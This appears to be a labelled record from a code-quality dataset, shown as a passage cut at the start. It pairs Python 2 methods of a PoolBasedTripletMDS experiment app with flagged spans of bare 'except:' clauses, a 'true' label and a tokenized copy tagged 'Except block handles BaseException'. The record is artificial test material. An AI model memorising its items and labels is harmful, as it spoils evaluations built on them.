predict(self,exp_uid,args_json,db,ell):\n \"\"\"\n Have the model learned by some particular algorithm predict a variety of stuff \n\n Expected input (in json structure with string keys):\n (string) predict_id : identifier for the desired prediction\n (list) params : dictionary of stat_id specific fields.\n\n\n ##########\n Description: Each algorithm (with an associated alg_label) has a test_alg_label associated with it. \n\n Expected input:\n (string) predict_id : 'evaluate_on_test'\n (dict) params : dictionary with fields\n (string) alg_label : describes target algorithm to test\n (string) test_alg_label : describes the algorithm that whos triplets are evaluated on the target algorithm\n\n Expected output (in json structure):\n (float) num_reported_answers : number of reported answers after which the calculation was made\n (float) error : 0/1 loss on test set\n \"\"\"\n\n try:\n app_id = self.app_id\n\n log_entry = { 'exp_uid':exp_uid,'task':'predict','json':args_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-CALL', log_entry )\n\n # convert args_json to args_dict\n try:\n args_dict = json.loads(args_json)\n except:\n error = \"%s.predict input args_json is in improper format\" % self.app_id\n return '{}',False,error\n\n # check for the fields that must be contained in args or error occurs\n necessary_fields = ['predict_id','params']\n for field in necessary_fields:\n try:\n args_dict[field]\n except KeyError:\n error = \"%s.predict input arguments missing field: %s\" % (self.app_id,str(field)) \n return '{}',False,error\n\n predict_id = args_dict['predict_id']\n params = args_dict['params']\n\n alg_label = params['alg_label']\n\n # get list of algorithms associated with project\n alg_list,didSucceed,message = db.get(app_id+':experiments',exp_uid,'alg_list')\n \n # get alg_id\n for algorithm in alg_list:\n if alg_label == algorithm['alg_label']:\n alg_id = algorithm['alg_id']\n alg_uid = algorithm['alg_uid']\n\n meta = {}\n if predict_id=='get_embedding':\n\n # get sandboxed database for the specific app_id,alg_id,exp_uid - closing off the rest of the database to the algorithm\n rc = ResourceClient(app_id,exp_uid,alg_uid,db)\n\n # get specific algorithm to make calls to \n alg = utils.get_app_alg(self.app_id,alg_id)\n\n ##### Get Embedding #####\n Xd,num_reported_answers,dt = utils.timeit(alg.predict)(rc)\n\n log_entry_durations = { 'exp_uid':exp_uid,'alg_uid':alg_uid,'task':'predict','duration':dt } \n log_entry_durations.update( rc.getDurations() )\n meta = {'log_entry_durations':log_entry_durations}\n\n params['Xd'] = Xd\n params['num_reported_answers'] = num_reported_answers\n\n log_entry = { 'exp_uid':exp_uid,'alg_uid':alg_uid,'timestamp':utils.datetimeNow() } \n log_entry.update( params )\n\n ell.log( app_id+':ALG-EVALUATION', log_entry )\n\n params['timestamp'] = str(log_entry['timestamp'])\n response_args_dict = params\n\n elif predict_id=='get_queries':\n\n # get list of triplets from test\n queries,didSucceed,message = db.get_docs_with_filter(app_id+':queries',{'alg_uid':alg_uid})\n\n S = []\n for query in queries:\n if 'q' in query.keys():\n q = query['q']\n S.append(q)\n\n params['queries'] = S\n params['num_reported_answers'] = len(S)\n response_args_dict = params\n\n\n args_out = {'args':response_args_dict,'meta':meta}\n predict_json = json.dumps(args_out)\n\n log_entry = { 'exp_uid':exp_uid,'task':'predict','json':predict_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-RESPONSE', log_entry )\n\n return predict_json,True,''\n except Exception, err:\n error = traceback.format_exc()\n log_entry = { 'exp_uid':exp_uid,'task':'predict','error':str(error),'timestamp':utils.datetimeNow() } \n didSucceed,message = ell.log( app_id+':APP-EXCEPTION', log_entry )\n return '{}',False,error", "metadata": "root.PoolBasedTripletMDS.predict", "header": "['class', 'PoolBasedTripletMDS', '(', 'AppPrototype', ')', ':', '___EOS___']", "index": 566 }, { "content": " def getStats(self,exp_uid,args_json,db,ell):\n \"\"\"\n Get statistics for the experiment and its algorithms\n\n Expected input (in json structure with string keys):\n (string) stat_id : identifier for the desired statistic\n (dict) params : dictionary of stat_id specific fields.\n\n See Next.utils.get_app_supported_stats(app_id) ResourceManager.get_app_supported_stats(app_id)\n for a description of each of the available stats and their inputs and outputs\n \"\"\"\n\n try:\n app_id = self.app_id\n\n log_entry = { 'exp_uid':exp_uid,'task':'getStats','json':args_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-CALL', log_entry )\n\n # convert args_json to args_dict\n try:\n args_dict = json.loads(args_json)\n except:\n error = \"%s.getStats input args_json is in improper format\" % self.app_id\n return '{}',False,error\n\n # check for the fields that must be contained in args or error occurs\n necessary_fields = ['stat_id','params']\n for field in necessary_fields:\n try:\n args_dict[field]\n except KeyError:\n error = \"%s.getStats input arguments missing field: %s\" % (self.app_id,str(field)) \n return '{}',False,error\n\n stat_id = args_dict['stat_id']\n params = args_dict['params']\n\n dashboard = PoolBasedTripletMDSDashboard(db,ell)\n\n # input task\n if stat_id == \"api_activity_histogram\":\n task = params['task']\n activity_stats = dashboard.api_activity_histogram(self.app_id,exp_uid,task)\n stats = activity_stats\n\n # input None\n elif stat_id == \"api_processAnswer_activity_stacked_histogram\":\n activity_stats = dashboard.api_processAnswer_activity_stacked_histogram(self.app_id,exp_uid)\n stats = activity_stats\n\n # input task\n elif stat_id == \"compute_duration_multiline_plot\":\n task = params['task']\n compute_stats = dashboard.compute_duration_multiline_plot(self.app_id,exp_uid,task)\n stats = compute_stats\n\n # input task, alg_label\n elif stat_id == \"compute_duration_detailed_stacked_area_plot\":\n task = params['task']\n alg_label = params['alg_label']\n compute_detailed_stats = dashboard.compute_duration_detailed_stacked_area_plot(self.app_id,exp_uid,task,alg_label)\n stats = compute_detailed_stats\n\n # input alg_label\n elif stat_id == \"response_time_histogram\":\n alg_label = params['alg_label']\n response_time_stats = dashboard.response_time_histogram(self.app_id,exp_uid,alg_label)\n stats = response_time_stats\n\n # input alg_label\n elif stat_id == \"network_delay_histogram\":\n alg_label = params['alg_label']\n network_delay_stats = dashboard.network_delay_histogram(self.app_id,exp_uid,alg_label)\n stats = network_delay_stats\n\n # input None\n elif stat_id == \"test_error_multiline_plot\":\n stats = dashboard.test_error_multiline_plot(self.app_id,exp_uid)\n\n # input alg_label\n elif stat_id == \"most_current_embedding\":\n alg_label = params['alg_label']\n stats = dashboard.most_current_embedding(self.app_id,exp_uid,alg_label)\n\n else:\n raise Exception('No valid stat_id provided')\n\n\n response_json = json.dumps(stats)\n\n log_entry = { 'exp_uid':exp_uid,'task':'getStats','json':response_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-RESPONSE', log_entry )\n\n\n return response_json,True,''\n except Exception, err:\n error = traceback.format_exc()\n log_entry = { 'exp_uid':exp_uid,'task':'getStats','error':error,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-EXCEPTION', log_entry )\n return '{}',False,error", "metadata": "root.PoolBasedTripletMDS.getStats", "header": "['class', 'PoolBasedTripletMDS', '(', 'AppPrototype', ')', ':', '___EOS___']", "index": 683 } ]
[ { "span": "except:", "start_line": 35, "start_column": 6, "end_line": 35, "end_column": 13 }, { "span": "except:", "start_line": 165, "start_column": 6, "end_line": 165, "end_column": 13 }, { "span": "except:", "start_line": 224, "start_column": 8, "end_line": 224, "end_column": 15 }, { "span": "except:", "start_line": 231, "start_column": 10, "end_line": 231, "end_column": 17 }, { "span": "except:", "start_line": 348, "start_column": 6, "end_line": 348, "end_column": 13 }, { "span": "except:", "start_line": 467, "start_column": 6, "end_line": 467, "end_column": 13 }, { "span": "except:", "start_line": 598, "start_column": 6, "end_line": 598, "end_column": 13 }, { "span": "except:", "start_line": 704, "start_column": 6, "end_line": 704, "end_column": 13 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Poo", "l", "Base", "d", "Triple", "t", "MD", "S_", "(_", "App", "Prototype", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "daemon", "Process_", "(_", "self_", ",_", "exp", "\\u", "uid_", ",_", "args", "\\u", "json_", ",_", "db_", ",_", "ell_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app", "\\u", "id_", "=_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "daemon", "Process", "'_", ",_", "'", "json", "'_", ":_", "args", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "convert", " ", "args", "\\u", "json", " ", "to", " ", "args", "\\u", "dict_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "args", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "daemon", "Process", " ", "input", " ", "args", "\\u", "json", " ", "is", " ", "in", " ", "impro", "per", " ", "format", "\"_", "%_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "the", " ", "fields", " ", "tha", "t", " ", "must", " ", "be", " ", "contain", "ed", " ", "in", " ", "args", " ", "or", " ", "error", " ", "occur", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "necessar", "y", "\\u", "fields_", "=_", "[_", "'", "alg", "\\u", "uid", "'_", ",_", "'", "daemon", "\\u", "args", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "field_", "in_", "necessar", "y", "\\u", "fields_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "[_", "field_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "daemon", "Process", " ", "input", " ", "argu", "ment", "s", " ", "missi", "ng", " ", "field", ":", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "str_", "(_", "field_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "alg", "\\u", "daemon", "\\u", "args_", "=_", "args", "\\u", "dict_", "[_", "'", "daemon", "\\u", "args", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "uid_", "=_", "args", "\\u", "dict_", "[_", "'", "alg", "\\u", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "id_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "alg", "\\u", "uid_", ",_", "'", "alg", "\\u", "id", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "sand", "box", "ed", " ", "databa", "se", " ", "for", " ", "the", " ", "specific", " ", "app", "\\u", "id", ",", "alg", "\\u", "id", ",", "exp", "\\u", "uid", " ", "-", " ", "clos", "ing", " ", "off", " ", "the", " ", "rest", " ", "of", " ", "the", " ", "databa", "se", " ", "to", " ", "the", " ", "algorithm_", "\\u\\u\\uNL\\u\\u\\u_", "rc_", "=_", "Reso", "urc", "e", "Client_", "(_", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "alg", "\\u", "uid_", ",_", "db_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "specific", " ", "algo", "rit", "hm", " ", "to", " ", "make", " ", "calls", " ", "to", " _", "\\u\\u\\uNL\\u\\u\\u_", "alg_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "alg_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "alg", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "dt_", "=_", "utils_", "._", "timeit_", "(_", "alg_", "._", "daemon", "Process_", ")_", "(_", "resource_", "=_", "rc_", ",_", "daemon", "\\u", "args", "\\u", "dict_", "=_", "alg", "\\u", "daemon", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ":_", "alg", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "daemon", "Process", "'_", ",_", "'", "duration", "'_", ":_", "dt_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry", "\\u", "durations_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ":_", "alg", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "daemon", "Process", "'_", ",_", "'", "duration", "'_", ":_", "dt_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry", "\\u", "durations_", "._", "update_", "(_", "rc_", "._", "get", "Dur", "ations_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meta_", "=_", "{_", "'", "log", "\\u", "entry", "\\u", "duration", "s", "'_", ":_", "log", "\\u", "entry", "\\u", "durations_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "daemon", "\\u", "message_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args", "\\u", "out_", "=_", "{_", "'", "args", "'_", ":_", "daemon", "\\u", "message_", ",_", "'", "meta", "'_", ":_", "meta_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "json_", "=_", "json_", "._", "dumps_", "(_", "args", "\\u", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "daemon", "Process", "'_", ",_", "'", "json", "'_", ":_", "response", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "response", "\\u", "json_", ",_", "True_", ",_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "daemon", "Process", "'_", ",_", "'", "error", "'_", ":_", "error_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Base", "d", "Triple", "t", "MD", "S_", "(_", "App", "Prototype", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "init", "Exp_", "(_", "self_", ",_", "exp", "\\u", "uid_", ",_", "args", "\\u", "json_", ",_", "db_", ",_", "ell_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "initialize", " ", "the", " ", "project", " ", "and", " ", "necessar", "y", " ", "experiment", "s", " ", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Expect", "ed", " ", "input", " ", "(", "in", " ", "json", " ", "structure", " ", "with", " ", "string", " ", "keys", "):", "\\", "10", ";", " ", " ", "(", "int", ")", " ", "n", " ", ":", " ", "number", " ", "of", " ", "object", "s", "\\", "10", ";", " ", " ", "(", "int", ")", " ", "d", " ", ":", " ", "desi", "red", " ", "dimension", " ", "(", "can", " ", "be", " ", "change", "d", " ", "late", "r", ")", " ", "\\", "10", ";", " ", " ", "(", "float", ")", " ", "fail", "ure", "\\u", "probabilit", "y", " ", ":", " ", "confidence", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "list", " ", "of", " ", "dict", "s", ")", " ", "alg", "\\u", "list", " ", ":", " ", "with", " ", "fields", " ", "(", "Default", "s", " ", "give", "n", " ", "by", " ", "Info", ".", "get", "\\u", "app", "\\u", "default", "\\u", "alg", "\\u", "list", ")", "\\", "10", ";", " ", " ", " ", " ", "(", "string", ")", " ", "alg", "\\u", "id", " ", ":", " ", "valid", " ", "alg", "\\u", "id", " ", "for", " ", "this", " ", "app", "\\u", "id", "\\", "10", ";", " ", " ", " ", " ", "(", "string", ")", " ", "alg", "\\u", "label", " ", ":", " ", "unique", " ", "identifi", "er", " ", "for", " ", "algo", "rit", "hm", " ", "(", "e", ".", "g", ".", " ", "may", " ", "have", " ", "experiment", " ", "with", " ", "repeated", " ", "alg", "\\u", "id", "'", "s", ",", " ", "but", " ", "alg", "\\u", "labels", " ", "must", " ", "be", " ", "un", "qi", "ue", ",", " ", "will", " ", "als", "o", " ", "be", " ", "used", " ", "for", " ", "plot", " ", "legend", "s", "\\", "10", ";", " ", " ", " ", " ", "[", "option", "al", "]", " ", "(", "string", ")", " ", "test\\u", "alg", "\\u", "label", " ", ":", " ", "must", " ", "be", " ", "one", " ", "of", " ", "the", " ", "alg", "\\u", "label", "'", "s", " ", "in", " ", "alg", "\\u", "list", " ", "(", "Default", " ", "is", " ", "self", ")", "\\", "10", ";", " ", " ", " ", " ", "[", "option", "al", "]", " ", "(", "dict", ")", " ", "params", " ", ":", " ", "algo", "rit", "hm", "-", "specific", " ", "parameter", "s", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "dict", ")", " ", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", " ", ":", " ", "dictionar", "y", " ", "with", " ", "fields", " ", "(", "string", ")", " ", "'", "mode", "'", " ", "and", " ", "(", "dict", ")", " ", "'", "params", "'.", " ", "mode", " ", "in", " ", "{", "'", "pure", "\\u", "exploration", "','", "explore", "\\u", "exploit", "','", "fixed", "\\u", "proportion", "s", "'}", ".", " ", "Default", " ", "is", " ", "'", "fixed", "\\u", "proportion", "s", "'", " ", "and", " ", "allocate", "s", " ", "uniform", " ", "probabilit", "y", " ", "to", " ", "each", " ", "algo", "rit", "hm", ".", " ", "If", " ", "mode", "=", "fixed", "\\u", "proportion", "s", " ", "then", " ", "params", " ", "is", " ", "a", " ", "dictionar", "y", " ", "tha", "t", " ", "contain", "s", " ", "the", " ", "field", " ", "'", "proportion", "s", "'", " ", "whi", "ch", " ", "is", " ", "a", " ", "list", " ", "of", " ", "dictionar", "ies", " ", "with", " ", "fields", " ", "'", "alg", "\\u", "label", "'", " ", "and", " ", "'", "proportion", "'", " ", "for", " ", "all", " ", "algo", "rit", "hms", " ", "in", " ", "alg", "\\u", "list", ".", " ", "All", " ", "proportion", "s", " ", "must", " ", "be", " ", "posit", "ive", " ", "and", " ", "sum", " ", "to", " ", "1", " ", "over", " ", "all", " ", "alg", "s", " ", "in", " ", "alg", "\\u", "list", " ", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "string", ")", " ", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", " ", ":", " ", "in", " ", "{", "'", "one", "\\u", "to", "\\u", "one", "','", "one", "\\u", "to", "\\u", "many", "'}", ".", " ", "Default", " ", "is", " ", "'", "one", "\\u", "to", "\\u", "many", "'.", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "string", ")", " ", "instruct", "ion", "s", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "string", ")", " ", "deb", "rie", "f", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "int", ")", " ", "num", "\\u", "trie", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app", "\\u", "id_", "=_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "remove", " ", "any", " ", "remi", "nant", "s", " ", "of", " ", "an", " ", "experiment", " ", "if", " ", "it", " ", "exists_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "delete", "\\u", "docs", "\\u", "with", "\\u", "filter_", "(_", "'", "experiment", "s", "\\u", "admin", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "delete", "\\u", "docs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "delete", "\\u", "docs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "delete", "\\u", "docs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "delete", "\\u", "docs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "delete", "\\u", "logs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "delete", "\\u", "logs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "delete", "\\u", "logs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "delete", "\\u", "logs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "delete", "\\u", "logs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "EVAL", "UAT", "ION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "indexe", "s", " ", "(", "only", " ", "adds", " ", "them", " ", "if", " ", "the", "y", " ", "do", " ", "not", " ", "alr", "ead", "y", " ", "exist", ")_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "'", "experiment", "s", "\\u", "admin", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "{_", "'", "query", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "{_", "'", "alg", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "{_", "'", "participa", "nt", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "{_", "'", "participa", "nt", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", 